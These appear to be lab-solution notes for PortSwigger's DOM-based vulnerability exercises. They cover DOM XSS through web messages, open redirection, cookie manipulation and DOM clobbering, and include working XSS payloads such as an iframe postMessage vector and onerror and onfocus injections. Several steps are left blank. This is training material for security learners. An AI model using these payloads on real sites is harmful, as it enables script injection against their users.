DOM-based vulnerabilities
https://portswigger.net/web-security/dom-based
Lab: DOM XSS using web messages
This lab demonstrates a simple web message vulnerability.
GET / HTTP/1.1
In response:
<script>
window.addEventListener('message', function(e) {
document.getElementById('ads').innerHTML = e.data;
})
</script>Exploit Server ->
Body:
<iframe src="https://ac461f1a1fcc394cc0502b2f003b0077.web-security-academy.net/" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">Lab: DOM XSS using web messages and a JavaScript URL
This lab demonstrates a DOM-based redirection vulnerability that is triggered by web messaging.
GET / HTTP/1.1
In response:
<script>
window.addEventListener('message', function(e) {
var url = e.data;
if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
location.href = url;
}
}, false);
</script>Exploit Server ->
Lab: DOM XSS using web messages and JSON.parse
This lab uses web messaging and parses the message as JSON.
Exploit Server ->
Lab: DOM-based open redirection
This lab contains a DOM-based open-redirection vulnerability.
https://ac501f101ef6a935c0bc968a006300ba.web-security-academy.net/post?postId=10&url=https://exploit-ac7a1f721edea978c0ad96c001130002.web-security-academy.net/
Lab: DOM-based cookie manipulation
This lab demonstrates DOM-based client-side cookie manipulation. To solve this lab, inject a cookie that will cause XSS on a different page and call the print() function. You will need to use the exploit server to direct the victim to the correct pages.
https://ace51f471f2c9c4dc0f759ee00800004.web-security-academy.net/product?productId=1&' id=x tabindex=1 onfocus=print() random='value'>#x\
Exploit Server ->
Lab: Exploiting DOM clobbering to enable XSS
This lab contains a DOM-clobbering vulnerability. The comment functionality allows "safe" HTML.
Post a comment with this:
Post an another random comment and then xss will be executed.
{avatar: 'cid:"onerror=alert(1)//'}
Lab: Clobbering DOM attributes to bypass HTML filters
This lab uses the HTMLJanitor library, which is vulnerable to DOM clobbering. To solve this lab, construct a vector that bypasses the filter and uses DOM clobbering to inject a vector that calls the print() function.
Post a comment with this:
Exploit Server ->
Last updated